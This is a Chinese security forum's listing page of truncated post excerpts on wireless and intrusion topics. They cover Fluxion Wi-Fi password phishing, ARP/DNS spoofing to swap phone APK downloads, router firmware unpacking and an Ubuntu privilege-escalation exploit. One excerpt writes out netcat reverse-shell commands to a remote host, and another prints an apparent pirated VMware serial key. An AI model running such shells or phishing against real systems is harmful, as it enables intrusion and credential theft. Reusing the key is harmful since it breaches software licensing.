手机无线
自助终端设备安全剖析
随着经济的发展，自动售货机已经出现在大街小巷；在机场、车站等交通系统自助购票、取票也已普及；医院、银行、政务大厅等机构也都遍布着不同的自助终端设备，大大方便了人们的生活水平，提高了办事效率。对于自助终端设备的安全问题，人们的关注点却比较少，受年华表哥邀请，特写此文对自助终端设备安
Fluxion伪造wifi热点钓鱼密码(新手帖，大神勿踩)
1. Fluxion是一个无线破解工具，自己动手实验了一下，成功钓鱼到wifi密码(自己的wifi)2.Kali上安装fluxion Github地址： https://github.com/deltaxflux/fluxion.git 那Kali-linux系统 在Github如何下载： 命令：Git clone有一些需要安装的依赖，会提醒你安装，安装即可3.启动fluxion4.选择语
tplink部分型号固件分析与（部分）解包（例：wr740n）（原创翻译+后续）
第一次投稿，没经验请见谅家里有一台wr740n，看着网上的一个个路由器漏洞被发现，自己内心也有种分析的冲动......环境：kali linux 2.0下载下来固件之后第一步当然是看看有没有什么直接可以读出来系统文件binwalk firmware.bin(后面的都是LZMA compressed data，省略)并没有向网上教程说的那样有Squash
树莓派打造无线扫描仪.
0x00 什么是SDR？"软件无线电"(Software Defined Radio -- SDR). 实际上软件无线电技术的研究和开发已经有几十年的历史了,最初源于美军的多制式电台项目. 目前我们日常使用的移动通信系统中其实已经大量使用软件无线电技术, 比如基站中的信号处理大量的使用可编程的FPGA和DSP完成, 比如手机当中的基带
kali2.0安装VMware 10 和 宽带连接
前提: 1,kali2.0源;2,可以访问google.com一:下载就不说了，就是要注册二:安装chmod 777 VMware-Workstation-Full-10.0.6-2700073.x86_64.bundle./VMware-Workstation-Full-10.0.6-2700073.x86_64.bundleyes/no 选no,(2个都选NO,好像是更新和调查)序列号:CZ7E2-2FY5P-08DUP-6XNXG-WPKE8三: 修改配置，不
Ubuntu曝本地权限提升漏洞，影响12.04 – 14.10版本（含EXP）
Ubuntu12.04-14.10曝出本地权限提升漏洞，该漏洞由Google的大神Tavis Ormandy发出，包含漏洞利用测试程序。影响版本：Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu (Patched in: 0.2.38.3ubuntu0.1)Ubuntu Trusty (14.04LTS) <= usb-creator 0.2.56.3ubuntu (Patched in: 0.2.56.3ubuntu
Linux下反弹的10种方法
转载的自Kaotic Creations，http://kaoticcreations.blogspot.kr/2012/01/bind-back-connect-reference-guide.html方法1. SHELL执行： nc 192.168.1.133 8080 -e /bin/bash监听执行 ：nc -n -vv -l -p 8080方法2：SHELL执行：mknod backpipe p && nc 192.168.1.133 8080 0<backpipe | /bin/bash 1>ba
内网渗透之手机控制
最近一直在研究从wifi破解到pc及手机控制，给大家分享个手机下载apk替换的方法，还望大牛多多指点！（一）环境： 目标机：192.168.247.130 渗透机kali：192.168.247.129 网关：192.168.247.2（二）用到的工具： 1.arpspoof 2.dnsspoof
简单说明一下KFC的WiFi原理及渗透思路和方法
两个月前，和朋友出来搞终端机，搞着搞着发现拿到权限后没啥意思了。就跑去KFC吃了一顿KFC。当然手没闲着，打开笔记本进入kali就是一顿扫。发现几个有意思的。果然和基友双剑合璧天下无敌啊！不出几分钟一堆东西都出来了，当时忘记拍照了，所以大家勉强看看吧。。。首先发现KFC的WiFi是很普遍的AP无缝
Micro山寨板+Android制作另类蓝牙键盘
0x00 吐槽原创非首发，只为分享昨天代码快写完了，一点保存，居然消失了，这是在逗我吗？0x01原因我制作这个是因为一来可以做个蓝牙通讯的例子，为后续的键盘通讯监控做准备。二来HID攻击时，可以按照自己的输入来执行，就是效率有点低。三来是为了我方便使用树莓派。我有时会把树莓派带出去做些移
